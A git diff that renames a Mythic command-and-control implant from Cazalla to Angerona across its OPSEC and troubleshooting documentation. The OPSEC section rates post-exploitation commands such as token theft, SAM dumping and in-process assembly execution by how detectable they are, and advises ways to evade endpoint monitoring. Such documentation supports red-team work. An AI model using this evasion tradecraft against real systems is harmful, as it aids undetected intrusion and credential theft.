+77,7 @@ These commands are **highly detectable** and require careful consideration: | Command | Risk Level | Detection Likelihood | Alternatives | |---------|-----------|---------------------|--------------| -| `shell` | HIGH | High (cmd.exe spawn) | Use built-in Cazalla commands when possible | +| `shell` | HIGH | High (cmd.exe spawn) | Use built-in Angerona commands when possible | | `steal_token` | HIGH | High (EDR/XDR monitoring) | `make_token` when credentials available | | `rm` (system files) | HIGH | Blocked for safety | Never delete system files | | `screenshot` | HIGH | Screen capture detection | Use sparingly, consider timing | @@ -129,7 +129,7 @@ These commands have **low detection risk**: - **File Operations**: File writes to sensitive locations trigger alerts **Mitigation Strategies:** -- Use built-in Cazalla commands instead of `shell` when possible +- Use built-in Angerona commands instead of `shell` when possible - Use `inline_execute_assembly` for .NET assembly execution (in-process, no process injection) - Use `inline_execute` for BOFs when possible (no process creation) - Prefer `make_token` over `steal_token` when credentials are available @@ -201,7 +201,7 @@ ps ls ``` -Built-in Cazalla commands: +Built-in Angerona commands: - Don't spawn `cmd.exe` (highly monitored) - Have better OPSEC characteristics - Provide structured output @@ -433,14 +433,14 @@ The `samdump` command supports three methods with different OPSEC profiles: ``` 🚨 OPSEC BLOCKED - Command Has Safer Alternative -This command contains operations that have safer built-in alternatives in Cazalla: +This command contains operations that have safer built-in alternatives in Angerona: - 🚨 whoami: Use Cazalla's 'whoami' command instead (no cmd.exe spawn) + 🚨 whoami: Use Angerona's 'whoami' command instead (no cmd.exe spawn) ⚠️ cmd.exe spawn: This command would spawn cmd.exe (highly detectable) 💡 SAFER ALTERNATIVES: - → Use: 'whoami' (Cazalla built-in, no cmd.exe) + → Use: 'whoami' (Angerona built-in, no cmd.exe) ⚠️ TO PROCEED: You need approval from another operator. ``` diff --git a/documentation-payload/Cazalla/troubleshooting.md b/documentation-payload/Angerona/troubleshooting.md similarity index 94% rename from documentation-payload/Cazalla/troubleshooting.md rename to documentation-payload/Angerona/troubleshooting.md index 47fa206..b8179a3 100644 --- a/documentation-payload/Cazalla/troubleshooting.md +++ b/documentation-payload/Angerona/troubleshooting.md @@ -5,9 +5,9 @@ weight = 10 pre = "6. " +++ -# Cazalla Troubleshooting Guide +# Angerona Troubleshooting Guide -This guide helps you diagnose and resolve common issues when using Cazalla agent. +This guide helps you diagnose and resolve common issues when using Angerona agent. ## 📋 Table of Contents @@ -49,15 +49,15 @@ This guide helps you diagnose and resolve common issues when using Cazalla agent 3. **Check Agent Execution** ```cmd # On Windows target - tasklist | findstr cazalla - # Should show cazalla.exe process + tasklist | findstr angerona + # Should show angerona.exe process ``` 4. **Check Mythic Logs** ```bash # On Mythic server sudo docker logs mythic_server - sudo docker logs cazalla_translator + sudo docker logs angerona_translator ``` **Solutions:** @@ -186,8 +186,8 @@ cat file.txt 3. **Check Logs** ```bash - sudo docker logs cazalla_translator | grep -i download - sudo docker logs cazalla_translator | grep -i upload + sudo docker logs angerona_translator | grep -i download + sudo docker logs angerona_translator | grep -i upload ``` **Solutions:** @@ -204,7 +204,7 @@ cat file.txt **Solution:** -Cazalla automatically normalizes paths, but if issues persist: +Angerona automatically normalizes paths, but if issues persist: - Use single backslashes: `C:\Users\file.txt` - Use forward slashes: `C:/Users/file.txt` - Avoid double backslashes: `C:\\Users\\file.txt` (will be normalized automatically) @@ -228,7 +228,7 @@ Cazalla automatically normalizes paths, but if issues persist: 2. **Check Translator Logs** ```bash - sudo docker logs cazalla_translator | grep -i process + sudo docker logs angerona_translator | grep -i process ``` 3. **Verify Process Browser Integration** @@ -237,7 +237,7 @@ Cazalla automatically normalizes paths, but if issues persist: **Solutions:** -- **Rebuild Translator**: `sudo ./mythic-cli build cazalla` +- **Rebuild Translator**: `sudo ./mythic-cli build angerona` - **Check Process Parsing**: Verify translator is parsing process list correctly - **Check Permissions**: Some processes may require elevated privileges @@ -360,7 +360,7 @@ Cazalla automatically normalizes paths, but if issues persist: 4. **Check Translator Logs** ```bash - sudo docker logs cazalla_translator | grep -i socks + sudo docker logs angerona_translator | grep -i socks ``` **Solutions:** @@ -414,7 +414,7 @@ Cazalla automatically normalizes paths, but if issues persist: 1. **Check Docker** ```bash sudo docker ps - sudo docker logs cazalla_translator + sudo docker logs angerona_translator ``` 2. **Check Build Parameters** @@ -450,7 +450,7 @@ Cazalla automatically normalizes paths, but if issues persist: 3. **Check Translator Logs** ```bash - sudo docker logs cazalla_translator | grep -i crypto + sudo docker logs angerona_translator | grep -i crypto ``` **Solutions:** @@ -484,7 +484,7 @@ Cazalla automatically normalizes paths, but if issues persist: 3. **Rebuild Translator** ```bash - sudo ./mythic-cli build cazalla + sudo ./mythic-cli build angerona ``` ### File Browser Not Working @@ -530,7 +530,7 @@ Cazalla automatically normalizes paths, but if issues persist: 2. **Check Translator Logs** ```bash - sudo docker logs cazalla_translator | grep -i context + sudo docker logs angerona_translator | grep -i context ``` 3. **Verify Context Format** @@ -548,7 +548,7 @@ Cazalla automatically normalizes paths, but if issues persist: - Rebuild agent with debug flags **Translator Side:** -- Check translator logs: `sudo docker logs cazalla_translator` +- Check translator logs: `sudo docker logs angerona_translator` - Look for error messages and warnings ### Check Agent Status @@ -575,7 +575,7 @@ sudo docker logs mythic_server **Translator Logs:** ```bash -sudo docker logs cazalla_translator +sudo docker logs angerona_translator ``` **Agent Logs:**